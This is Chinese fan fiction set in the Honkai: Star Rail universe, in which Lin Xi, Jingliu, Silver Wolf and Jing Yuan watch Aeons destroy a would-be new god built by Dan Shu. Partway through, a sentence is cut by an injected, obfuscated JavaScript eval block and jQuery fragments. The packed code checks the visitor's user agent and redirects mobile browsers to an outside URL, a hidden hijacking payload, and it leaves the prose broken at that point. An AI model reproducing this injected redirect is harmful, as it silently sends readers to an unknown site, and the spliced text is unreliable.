岚的星矢撕裂星海的瞬间带来无数绚丽尾焰,像极了燎原前的点点星火。
这些自遥远天外而来的天弓倾泻而来,青金色的光尾划破黑暗,在星空中炸开无数道焚天灭地的焰火。
每一道尾焰都凝聚着巡猎对丰饶的深深执念,其裹挟的巨大能量都足以将一颗星球瞬间汽化。
此刻,它们尽数朝着星海中那巨大虚影射去。
那是药师的虚影,却又不是真正的药师。
它盘踞在尘壤星的碎片之上,周身翻涌着浓得化不开的翠绿色丰饶光带,无数扭曲的根须从光带中蔓延而出,扎根在残存的星球残骸之中,将每一寸破碎的星体都附着上它的赐福。
面对铺天盖地而来的星矢,祂没有丝毫要躲的意思,反倒是不知藏身何处的阿哈发出阵阵密密麻麻、层层叠叠的笑声。
阿哈似乎不想这么快结束这场混战,在星矢击中虚影前祂的笑声突然密集。
原本直指虚影核心的星矢,如同被泼溅的铁水,朝着星海的各个方向胡乱飞窜。
其中一道偏斜的星矢擦过一颗残存的小行星,只一瞬,那直径数百公里的星体便连带着内核一起炸成了宇宙尘埃,连一丝残骸都没能留下。
毁天灭地的余波朝着四面八方扩散,连带着林溪制造的保护屏障也被接连击中了数次。
每一次撞击,都让淡银色屏障泛起一阵阵涟漪,可屏障之内,却连一丝风都没有被掀起。
林溪坐在屏障中央的乌木长椅上,姿态慵懒闲适,与外面毁天灭地的混战格格不入。
利落的淡金色短发,发尾随着屏障内微弱的气流轻轻晃动,现在的她正品尝一块缀着糖霜的点心,另一只手端着一盏温热的茶,茶烟袅袅,带着淡淡的犀香。
她抬眼扫了一眼外面炸开的星矢,眼神里没有半分波澜,仿佛外面正在上演的不是星神混战,只是一场无关紧要的街头杂耍。
清脆的脚步声在她身后响起,走来的身影带着未散的霜气与凌厉的剑气。
镜流走了过来,停在林溪身侧,死死盯着在远处那道药师的虚影上,握着剑柄的手越收越紧,周身的寒气几乎要将周围的空气都冻结。
林溪慢条斯理地尝了一口手里的茶,轻柔婉转的声音如同琴弦被轻轻拨动,带着安抚人心的力量:“情况怎么样。”
她问得没头没尾,可镜流却清楚她问的是谁。
她收回目光,没有半分拖泥带水的回答:“他快来了,你自己问吧。”
看着远处完好如初的虚影,她转过头问林溪,声音明显压着怒火:“为什么它还在?”
林溪低笑放下茶盏,玉指轻轻抬起,朝着虚空之中轻轻一挥。
刹那间,一面巨大的全息视图在众人面前展开,如同将整片星海都浓缩在了这方寸之间。
这是全知的视角,整个战场的每一个角落,都被清晰地收纳其中。
视图的左下方,是巡猎星神岚的身影,看不清他的全貌,只能看到那柄横跨了小半个星空的天弓,弓弦被拉至满月,又一支凝聚了无尽杀意的星矢正在弓弦上缓缓成型,青金色的光芒几乎要将周围的黑暗都撕裂。
视图的正中央,正是那道药师的虚影。
它被三重能量光带严严实实地包裹着,最外层是翠绿色的丰饶光带,翻涌着扭曲的生机,无数根须在光带中疯狂生长又瞬间凋亡,循环往复,永不停歇。
中间一层是暗金色的不朽光带,上面流转着清晰的龙形纹路,带着陨落的不朽龙的能量;最内层则是淡银色的记忆光带,如同流水般缓缓流转,将整个虚影牢牢锁住,维持着它的形态不被冲散。
而整个视图的最上方,是一片无边无际的黑暗。
那黑暗比星海的真空还要深邃、还要死寂,一双燃烧着亮金色火焰的眼睛,正从黑暗之中垂落目光,漠然地瞥视着下方的战场。
仅仅是一道目光,就让周围的真空都燃起了黑色的毁灭之火,无数块亮金色能量碎片正漂浮在“药师”虚影的周围。
每一块碎片都凝聚着能焚毁整个星系的毁灭之力,碎片周围的时空都被熔毁得扭曲变形,它们如同蓄势待发的狼群,只等一个时机,就会落下致命一击,将眼前的一切都彻底焚毁。
除此之外,视图的各个角落,还漂浮着无数大大小小的诡笑面具。
那些面具有的在放声大笑,有的在掩嘴窃笑,有的甚至在哭嚎,可哭嚎的表情里,却依旧藏着颠狂的笑意。
它们是阿哈到来的象征,一般来说他们都是旁观者,不插手任何一方,只享受混乱带来的极致欢愉。
不知为何这次它们居然插手了这场是非,有几个离得近的面具,被岚的星矢余波扫中,瞬间炸成了碎片,可不过一瞬,又在原地重新凝聚成型,笑得比之前更加疯狂。
“你看到的这个不是药师真身。”林溪的声音悠悠传来,目光落在视图中央的虚影上,语气淡淡的,“这是丹枢用药师的残躯,强行拼凑出来的造物。她打算造一个新神。”
她玉指一张一合,视图瞬间放大,清晰地露出了虚影核心处的东西——那是一块带着浓郁丰饶气息的枯骨,正源源不断地向外释放着药师能量,周围缠绕着龙鳞还有一枚流光忆庭信物。
“丹枢用幻境困住景元的时候,就已经在布局了。她剥离出景元神君的力量,屏蔽了岚对丰饶气息的感知,这才有机会在尘壤星的地核完成她的造神计划。她用星髓矿的提取物,配合持明族的秘法,提取了不朽龙主陨落之后残存的本源,又融合了药师留在仙舟的残躯,再加上施耐德提供的浮藜信物,引动了记忆命途的力量,想要造出一个融合了丰饶、不朽、记忆的新神。”
说着,她嘴角勾起玩味的笑:“很有意思,她给这个新神取名为''永恒''。不老,不死,不灭,正正好踩在了三个命途的交汇点上。只可惜,她太贪心了。”
镜流不明白她的话,问道:“什么意思。”
“升格新神,本就是逆天而行。更何况,她融合的三个命途,本就互相冲突。”林溪的目光扫过视图上方那片无边无际的黑暗,“她的‘永恒’,引来了纳努克的瞥视。毁灭绝对不会放任一个新神的飞升命,仅仅是一道目光,就彻底撕碎了她的升格仪式。”
就在她话音落下的瞬间,视图中央的战场,再次爆发了惊天动地的碰撞。
岚蓄势已久的星矢,终于脱弦而出。
青金色的光芒瞬间照亮了整片黑暗的星海,连远处的星光都被彻底掩盖。
星矢划破星空的速度甚至超越了时空的极限,在它飞过的路径上,留下了一道道久久无法愈合的空间裂缝。
几乎是同时,纳努克的那些毁灭碎片,也同时动了。
无数亮金色的碎片带着焚毁一切的力量,如同流星雨般朝着药师的虚影砸去,碎片所过之处,连真空都燃起了熊熊的金色火焰,星骸瞬间熔化成液态,又在瞬间汽化,连一丝痕迹都没能留下。
丰饶、不朽、记忆三重光带同时亮起,想要挡住这毁天灭地的夹击。
可巡猎的箭,是专为斩杀丰饶而生的;毁灭的火,是专为焚毁一切存在而燃的。三重光带只撑了短短一瞬,就发出了如同玻璃碎裂般的脆响,寸寸崩裂。
星矢与毁灭碎片同时撞在了虚影的核心处。
一声震耳欲聋的巨响,传遍了整片星海。
那道盘踞在星核之上的巨大虚影,在两位星神的夹击之下,瞬间炸成了漫天的翠绿色光雨。
那些疯狂生长的根须,那些扭曲的生机,在巡猎的杀意与毁灭的火焰之中,瞬间化为乌有,连一丝残屑都没能留下。
周围的诡笑面具,在这惊天动地的爆炸之中,笑得几乎要散架,无数面具在原地蹦跳着,发出刺耳的欢笑声,随后便如同潮水般四散而去,消失在了星海的各个角落。
岚的身影消失在了星海的尽头,继续他永无止境的巡猎。
那片黑暗之中的火焰眼眸,也缓缓闭上,纳努克收回瞥视,只留下残存的毁灭之火,还在星骸上静静燃烧。
整个星海,终于慢慢平静了下来,只剩下崩碎的星骸,还在燃烧的余烬,以及漫天漂浮的宇宙尘埃。
“你看,我就说,快结束了。”林溪笑着,收回了面前的全知视图。
就在这时,银狼的声音传来,平日里从不离手的游戏机,此刻居然被她放在了腿上。
她手里拿起手机,正对着刚才爆炸的方向不停按着快门:“难得一见的四星神同框,这要是发出去,点击量绝对能破纪录。可惜了,阿哈没亲自到场,不然就更完美了。”
她一边说,一边调参数,把刚才岚出箭、纳努克出手的瞬间,全都拍得清清楚楚,甚至连那些诡笑面具的疯癫模样,都没放过。
对她来说,这种级别的混乱场面,比任何3A大作都要刺激,都要好玩。
也就是在这个时候,景元走了进来。
他原本是循着镜流留下的剑气而来,可刚进门,就被眼前的景象彻底震住了。
入目是无边无际的星海,远处的星空里,还残留着星神大战的余波,黑色的毁灭之火还在燃烧,青金色的巡猎余威还在星空中流转。
刚才那场毁天灭地的碰撞,虽然已经结束,可残留的星神威压,依旧如同实质般压在人的心头,哪怕有屏障挡着,景元依旧能感受到那恐怖力量。
数百年戎马倥偬,他见过无数大风大浪,可他从来没有见过这样的场面。
这可是星神的战场,是寰宇顶尖力量的碰撞,是普通人连靠近都做不到的领域。
他刚刚从一场困住他百年执念的幻境里醒过来,转头就撞进了这样一场远超他想象的风波里,哪怕他素来临危不乱,此刻也难免有些怔愣。
“哟,来的正好。”银狼转过头,看到站在入口处的景元,挥了挥手里的相机,“见证历史的名场面,不拍个照留个纪念?晚了可就没机会了。”
景元回过神,还没来得及开口,一道淡银色的微光就已经落在了他的面前。
林溪不知何时已经走到了他的面前,依旧是那副浅笑盈盈的模样,周身带着淡淡的犀香。
她手在他眼前轻轻一挥,一面回忆镜就在他面前缓缓展开。
“景元将军,我知道你有很多疑惑。”林溪的声音轻柔,带着安抚人心的力量,“别急,慢慢看,看完你就明白了。”
景元的目光落在那面回忆镜上。
镜面如同流水般波动起来,快速闪过一幕幕画面,每一幕都精准地踩在了最关键的节点上,没有半分多余的内容,让他能在最短的时间内,了解他陷入幻境之后,这片星海发生的所有事。
他看到,在他被丹枢的幻境困住,沉溺旧梦之时丹枢就已经开始了她的计划。
她借着幻境的力量,一点点从他的神魂之中,剥离了神君力量布下了一道巨大的屏蔽结界,彻底挡住了岚对丰饶气息的感知,让她能在尘壤星地核安心进行她的造神仪式……
当三种力量融合在一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278092|197843||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起的那一刻,刺眼的光芒照亮了整个星系,融合了丰饶、不朽、记忆三种力量的“永恒”虚影,缓缓成型。
不老不死不灭的气息,传遍了整个星海,丹枢站在虚影之下,笑得疯狂。
可就在升格仪式完成的瞬间,无边无际的黑暗笼罩了整个星球。
一双燃烧着火焰的眼睛,从黑暗之中垂落目光,仅仅是一道瞥视,就让整个星球开始剧烈地崩塌。
……
最后,画面里,岚循着药师残留的气息,跨越星海而来。他拉满了天弓,一箭射出,直接炸穿了尘壤星残存的地壳,整个星球彻底崩解,只剩下核心的一小块残骸,就是他们现在所在的地方。
镜面的画面,到此结束。
回忆镜缓缓消散,化作点点银光,消失在了空气里。
景元站在原地,久久没有动,大脑飞速消化着这些信息。他以为丹枢的执念,只是用丰饶的力量实现长生。
却没想到,她的野心居然这么大,大到想要造一个新神,甚至引来了星神的注意,差点毁掉了整个星系。
他闭了闭眼,压下了心里翻涌的情绪。
再次睁开眼时,眼底已经恢复了往日的平静,只剩下深不见底的深沉。
林溪看着他的样子,笑着递过来一块点心,还有一盏温热的茶,茶烟袅袅,带着熟悉的犀香:“别绷得这么紧,景元将军。都结束了。”
景元接过茶和点心,还没来得及开口,一个大大咧咧的声音,就突然从旁边的星骸后面传了过来。
“结束?早着呢!”
波提欧不知道从哪里蹦出来,“可惜啊,让施耐德那个小可爱跑了!”
他一脸遗憾地摇了摇头,仰头把杯中的液体一口闷完,抹了抹嘴,景元甚至能闻到他嘴里传来的汽油味。
他话锋一转看向景元,语气带着几分好奇:“我说景元,这里的事儿解决完了,你准备去哪?回你的罗浮,继续当你的神策将军?”
景元被他拍得晃了晃,回过神,抬眼扫了一眼外面满目疮痍的星海。
崩碎的星骸还在燃烧,残存的星神力量还在星空中流转,整个星球都已经被炸成了碎片,除了他们脚下这块被屏障护住的方寸之地,外面已经没有任何完好的地方了。
他皱起眉头:“这算解决?”
在他看来,这场风波远远没有结束。
造神的始作俑者丹枢失踪了,帮凶施耐德跑了,星神的余波还在,甚至连这片被毁掉的星球,都还满目疮痍,怎么看都不像是“解决了”的样子。
“嗨,这你就不懂了!”波提欧哈哈一笑,抬手把空了的酒杯扔到一边,指了指银狼手边茶盏,“看到那个没?这颗星球的所有数据,全都完完整整地存在这里面了。等上面那几位大神彻底走干净了,这位忆者女士,就能把这一切恢复如初,跟没发生过一样!”
景元的目光,瞬间落在了那个设备上,心底的疑惑更多了。
忆者?恢复如初?
这身份和能力怎么看怎么不搭。
他再次转头,看向站在一旁浅笑盈盈的林溪,眼神瞬间变得深沉起来。
之前在幻境里,他就觉得这个女人不简单。
流光忆庭向来只做星海的记录者,从不插手星际纷争,从不干预世事。
可林溪做的事,早就超出了一个“记录者”的范畴。
她能随意进入丹枢用丰饶力量织造的幻境,也能在星神大战的余波之中,撑起一道能挡住星神力量的屏障,护住他们所有人。
她甚至能提前备份好整个星球的所有数据,在星球被炸碎之后,还能将一切恢复如初。
这根本不是一个普通的忆者,能拥有的能力。
流光忆庭的忆者,能读取记忆,能记录过往,可绝对没有能力,改写已经发生的事,复原一个被星神炸碎的星球。
这已经不是记录,而是直接干预,甚至是改写星海的轨迹。
景元表面上依旧是那副慵懒散漫的样子,可脑子里已经在飞速地运转着,把从幻境里第一次见到林溪,到现在的所有细节,一点点串联起来。
她为什么会刚好出现在他的幻境里?
为什么会刚好在他快要彻底沉溺于执念的时候,点醒他?
她为什么会知晓丹枢的造神计划?
……
她做这一切,到底是为了什么?
无数的疑问,在他的心里翻涌。
他看着不远处的林溪,她正抬眼望着外面平静下来的星海,侧脸在微光下显得格外柔和,可那双眼睛里,却藏着深不见底的秘密,像一片永远看不透的星海。
他越来越看不透这个女人了。
她自称是忆庭的忆者,可她做的每一件事,都超出了忆者的本分。
她更像站在寰宇幕布之后的执棋者,正在布局一场大戏。
他抬眼看向林溪,嘴角勾起一抹慵懒的笑意,可那双眼睛藏着审视与探究。
他知道,这场风波,远远没有结束。
丹枢的失踪,施耐德的逃跑,星神的介入,还有眼前这个神秘莫测的林溪,这一切,都只是一个开始。而他,已经被彻底卷进了这场远超他想象的棋局里。
林溪似乎察觉到了他的目光。
转过头,对上他的视线轻轻开口,声音轻柔婉转,带着一丝不易察觉的蛊惑:“景元将军,你在看什么?”
景元笑了笑,没有回答。
他会找到答案的。